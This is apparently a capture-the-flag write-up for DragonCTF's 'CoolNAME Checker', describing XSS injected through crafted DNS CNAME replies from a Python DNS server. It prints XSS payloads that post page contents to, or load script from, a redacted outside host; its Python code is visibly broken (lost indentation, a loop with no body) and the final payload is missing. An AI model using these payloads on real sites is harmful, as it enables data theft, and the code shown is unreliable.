Tags: python xss dns 


# CoolNAME Checker [324 points] (19 solves)


- This challenge provided a [link](http://reverse-lookup.hackable.software)

## Part 0: research

The website allows us to enter an IP and the server will make a DNS request to it (judging from the name it's going to be a CNAME DNS query). Below is a quick nonce solver we used, which was executed with a simple JS script in console.

const nonce = document.querySelector('input[name="nonce"]').value;
fetch('https://%REDACTED%', { method: 'POST', body: nonce })
.then(res => res.text())
.then(res => document.querySelector('input[name="pow"]').value = res);
document.querySelector('input[name="srv"]').value = "%REDACTED%";

The button *show to admin* hinted at an XSS vuln. We ran a simple python DNS server from [here](https://gist.github.com/samuelcolvin/ca8b429504c96ee738d62a798172b046). This allowed us to return arbitrary responses quite easily.

from time import sleep

from dnslib import RR
from dnslib.server import DNSServer

#PAYLOAD = '<script>fetch(\'%REDACTED\',{body:document.body.innerHTML,method:\'POST\'})</script>'
#PAYLOAD = '<script/src=\'%REDACTED%\'></script>'

class Resolver:
def resolve(self, request, handler):
reply = request.reply()
resname = str(request.q.qname)[:-1]
reply.add_answer(*RR.fromZone(resname + ' 2137 CNAME ' + PAYLOAD))
return reply

if __name__ == '__main__':
resolver = Resolver()
s = DNSServer(resolver, port=53, address='', tcp=False)

while 1:
except KeyboardInterrupt:

## Part 1: solution

We quickly realised, that above payloads worked on local side - meaning that XSS was working, but we couldn't get admin to hit our requestbin. On top of that, payload couldn't contain spaces.

It took us quite some time to read challenge carefully. *Only udp/53 outgoing traffic allowed from server*. That meant we needed to smuggle flag in a DNS query.

Final payload:


Flag: `DrgnS{MustLuuuuvDNS_dontYa}`

Original writeup (https://github.com/p4-team/ctf/tree/master/2020-11-20-dragonctf/coolname_checker).